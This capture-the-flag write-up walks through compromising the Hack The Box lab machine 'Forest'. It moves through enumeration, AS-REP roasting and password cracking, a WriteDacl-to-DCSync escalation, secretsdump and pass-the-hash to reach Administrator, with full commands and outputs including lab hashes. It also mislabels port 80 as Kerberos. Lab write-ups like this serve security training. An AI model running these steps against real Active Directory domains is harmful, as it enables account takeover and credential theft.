Forest

Easy Windows Active Directory HTB Box

Reconnaissance

As always we start off by performing a port scan using Nmap to enumerate open ports, versions and services

nmap -p- --open -Pn -n --min-rate 5000 -sS -sCV 10.10.10.161 -oN scan
Host is up (0.042s latency).
Not shown: 63944 closed tcp ports (reset), 1569 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-30 18:55:56Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49671/tcp open  msrpc        Microsoft Windows RPC
49676/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49684/tcp open  msrpc        Microsoft Windows RPC
49706/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2025-07-30T11:56:49-07:00
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2025-07-30T18:56:45
|_  start_date: 2025-07-30T18:54:31
|_clock-skew: mean: 2h26m49s, deviation: 4h02m32s, median: 6m47s
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jul 30 19:50:08 2025 -- 1 IP address (1 host up) scanned in 80.07 seconds

As we can see we're probably facing a DC because of some ports that are open — TCP 80 (Kerberos) | TCP 389,3268 (LDAP) | TCP 5985 (WinRM)...

We can also enumerate the Domain Name which is htb.local so we'll add it to our /etc/hosts

Let's start off by enumerating the DNS records using my own function script written in bash:

records () {
	RED="\e[31m" 
	GREEN="\e[32m" 
	YELLOW="\e[33m" 
	BLUE="\e[34m" 
	CYAN="\e[36m" 
	BOLD="\e[1m" 
	RESET="\e[0m" 
	IP=$1 
	DOMAIN=$2 
	echo -e "${GREEN}${BOLD}\n[=========================== NS Record ===========================]${RESET}"
	dig @$IP $DOMAIN NS
	echo -e "${RED}${BOLD}\n[============================ MX Record ==========================]${RESET}"
	dig @$IP $DOMAIN MX
	echo -e "${CYAN}${BOLD}\n[=========================== TXT Record ==========================]${RESET}"
	dig @$IP $DOMAIN TXT
	echo -e "${BLUE}${BOLD}\n[========================= AXFR ATTEMPT ==========================]${RESET}"
	dig @$IP $DOMAIN AXFR
}

We use the script but no useful information is shown so we'll move on to enumerating RCP with rpcenum using a null session in order to enumerate domain users

rpcclient -U "" 10.10.10.161 -N
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]

------- SNIP --------

user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

Well add every user to an user.txt to try perform an AS-REP Roasting attack!

AS-REP Roasting Attack

AS-REP Roasting targets Kerberos accounts with pre-authentication disabled.

Normally, users have to prove who they are before the domain gives them a ticket. But if pre-auth is off, the server sends back a Kerberos response encrypted with the user's hash — no password needed.

We can grab that response and crack it offline to get the user's password.

And you may ask, well how do I know when to do it?

We already found valid usernames. Now we’re checking if any of them are misconfigured and can give us the Kerberos hashes, so let's try to perform the attack using impacket-GetNPUsers

impacket-GetNPUsers htb.local/ -no-pass -usersfile users.txt -format john
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

---------- SNIP -----------

$krb5asrep$svc-alfresco@HTB.LOCAL:e782d83d906b7379d1c0596e8a5f4bf5$f3c537105ce470c52ed5df34ce0e7be41165f7a4c3577b94557853d9b26818b137bea629b0b9c9f740b8c9cef957e201cceab8bc235cd1c021a1d94cfd0d23c8011389502ee56801180bc895c0451a4e141f6d8dc39ff9095acfded48dea6ff086a21cb01ed25604ca72469bad3786311a18f6f75b9247d6764215fefa17d7e770623b43716f69ed1904948ffbfe2198a10a48fb533a732313f417796fd374c6163bfdfa1046f05755507ea2e16806ab8b2cc878fbc45fb398767cee6a84cd78e9a91806d8fbdf2e2d64a9ce7e84617844315511a4f61453b928d7cb6104ed5bcce9bd61dd67

---------- SNIP -----------

We successfully performed the AS-REP Roast attack and go the hash for the user svc-alfresco so let's crack it using john as we typed the -format john flag

john --wordlist=/usr/share/seclists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 20 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
s3rvice          ($krb5asrep$svc-alfresco@HTB.LOCAL)     
1g 0:00:00:01 DONE (2025-07-31 12:32) 0.7407g/s 3026Kp/s 3026Kc/s 3026KC/s s860299..s3r1bu
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

And we cracked the password!! — s3rvice , let's check if we can login into the system using Evil-WinRM

evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint Evil-WinRM PS C:\Users\svc-alfresco\Documents>

Enumeration using BloodHound

Let's open BloodHound in order to enumerate possible ways to escalate ourselves to Administrator

First we upload SharpHound to the target victim via the evil-winrm command upload and then

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop\BH> .\SharpHound.exe -c All
2025-07-31T04:55:05.5764313-07:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of BloodHound
2025-07-31T04:55:05.7326700-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2025-07-31T04:55:05.7639205-07:00|INFORMATION|Initializing SharpHound at 4:55 AM on 7/31/2025
2025-07-31T04:55:05.9357967-07:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for htb.local : FOREST.htb.local
2025-07-31T04:55:06.0607952-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2025-07-31T04:55:06.6857956-07:00|INFORMATION|Beginning LDAP search for htb.local
2025-07-31T04:55:06.8732946-07:00|INFORMATION|Producer has finished, closing LDAP channel
2025-07-31T04:55:06.8732946-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2025-07-31T04:55:36.8108853-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 38 MB RAM
2025-07-31T04:55:52.9515225-07:00|INFORMATION|Consumers finished, closing output channel
2025-07-31T04:55:52.9827745-07:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2025-07-31T04:55:53.1078252-07:00|INFORMATION|Status: 162 objects finished (+162 3.521739)/s -- Using 47 MB RAM
2025-07-31T04:55:53.1078252-07:00|INFORMATION|Enumeration finished in 00:00:46.4301718
2025-07-31T04:55:53.1859106-07:00|INFORMATION|Saving cache with stats: 119 ID to type mappings.
 119 name to SID mappings.
 0 machine sid mappings.
 2 sid to domain mappings.
 0 global catalog mappings.
2025-07-31T04:55:53.2015259-07:00|INFORMATION|SharpHound Enumeration Completed at 4:55 AM on 7/31/2025! Happy Graphing!

Let's download this data to our attacker machine and upload it to BloodHound via File Ingest

And then we can see the Graph in order to check possible Escalation paths to Domain Admin by clicking on Cypher -> Active Directory -> Shortest path to domain admin

WriteDacl Abuse on Domain Object

From the BloodHound graph, I see that svc-alfresco is a member of several nested groups that eventually lead to EXCHANGE WINDOWS PERMISSIONS. This group has WriteDacl permissions on the domain object HTB.LOCAL.

I choose this path because it's clean, doesn't require membership in high-privilege groups like Domain Admins or Account Operators, and avoids touching sensitive users directly. Instead, I modify the ACL of the domain itself.

1. Create a Domain User

We create a new user account that we’ll later escalate:

net user delorian delorian123 /add /domain

2. Add User to Privileged Group

To gain the necessary control, we add delorian to the Exchange Windows Permissions group:

net group "Exchange Windows Permissions" delorian /add

3. Prepare Credentials in PowerShell

We convert the password to a secure string and store it as a credential object:

$SecPassword = ConvertTo-SecureString 'delorian123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local/delorian', $SecPassword)

4. Abuse WriteDACL with PowerView

We upload PowerView.ps1

wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Recon/PowerView.ps1 
...
# On the victim machine via Evil-WinRM
upload PowerView.ps1
. ./PowerView.ps1

Then we execute the following command to give delorian the required DCSync rights:

Add-DomainObjectAcl -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity delorian -Rights DCSync

5. DCSync with Impacket

From our attacker machine, we perform a DCSync using Impacket’s secretsdump.py:

impacket-secretsdump 'htb.local/delorian:delorian123@10.10.10.161'

...

htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::

6. Pass-the-Hash (Evil-WinRM)

Now we can use the extracted NT hash to authenticate as Administrator via Pass-the-Hash:

evil-winrm -i 10.10.10.161 -u Administrator -H "32693b11e6aa90eb43d32c72a07ceea6"

Hope you liked this Write-Up and found it useful

Thank you for reading!!

Last updated